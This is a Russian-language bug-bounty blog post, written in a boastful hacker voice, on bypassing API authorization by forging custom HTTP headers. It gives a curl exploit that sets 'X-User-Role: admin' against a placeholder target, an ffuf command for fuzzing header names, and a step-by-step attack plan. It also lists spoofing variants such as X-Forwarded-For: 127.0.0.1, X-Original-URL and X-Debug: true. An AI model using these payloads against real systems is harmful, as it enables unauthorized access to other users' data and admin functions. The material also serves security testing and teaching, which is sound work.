Тема с кастомными заголовками — это как скрытый уровень в DOOM: вроде дверь закрыта, но подпрыгнул правильно — и ты внутри. Разрабы любят проверять «правильную роль» не по токену, а по своему мутному X-Header
. А мы любим это ломать.
Когда security‑тимы по три месяца мутят OAuth, а в конце концов прикручивают костыль:
1 |
X-User-Role: admin |
Тут уже звучит смех из подвала.
Точка входа
Что вижу: в респонсах API торчат намёки: x-internal-flag: true
, иногда фронт даже палится с X-Client-Type: mobile
.
Как поймал: Burp + Intruder по хедерам. Пихаем туда X-Original-Role: admin
, X-Forwarded-For: 127.0.0.1
.
Чем пахнет: классика AuthZ-bypass (уровень критовости 9/10, тянет на P1).
Че почем
Эксплойт:
1 2 3 |
curl -X GET https://target.com/api/v2/users/1337 \ -H "Authorization: Bearer legit_user_token" \ -H "X-User-Role: admin" |
Ответ: полный профиль чужого юзера. Спасибо, дорогой бэкенд, за доверие к кастомному хедеру.
Обход защиты:
• Если X-Forwarded-For
игнорят — попробуй X-Originating-IP: 127.0.0.1
.
• Некоторые апишки читают только X-App-Version
— поменяешь на «enterprise» и откроется /admin
.
• Ну и любимый X-Original-URL
→ работающий SSRF или доступ к закрытому resource.
Доказательство: После подмены X-User-Role
вижу isAdmin:true
и могу дергать /admin/stats
. Это не пасхалка, это автопати для ресерчера.
Советы:
Три вектора добивания:
• Проверь все заголовки из OWASP-списка «non-standard headers» (X-Api-Version
, X-Client-Type
, X-Requested-With
).
• Сними apk клиента: там часто в коде жёстко прописан кастомный X-Auth-Token: something_magic
.
• Зафаззи словарь кастомных хедеров через ffuf:
1 |
ffuf -u https://target.com/api/v1/account -H "FUZZ: admin" -w headers.txt |
План атаки:
1. Ловим весь трафик мобилки/веба через Burp.
2. Втыкаем Intruder на заголовки — метод перебора «X-Role», «X-Admin» и пр.
3. Валидируем ответ: ищем 403 → 200.
4. Эксплуатим баг — багбаунти чек автоматом.
Вангую баги вендоров
• X-Forwarded-For
→ обход ACL. Ставишь 127.0.0.1
и сервис думает, что ты свой.
• X-Role: superuser
→ открывает приватный API.
• X-Debug: true
→ включает доп эндпоинты прямо в бою.
Брат, такие костыльные проверки по кастомным хедерам — это реально 2025-й «new SQLi»: идиоты уже должны были перестать, а мы до сих пор жрём пельмени на их bounty.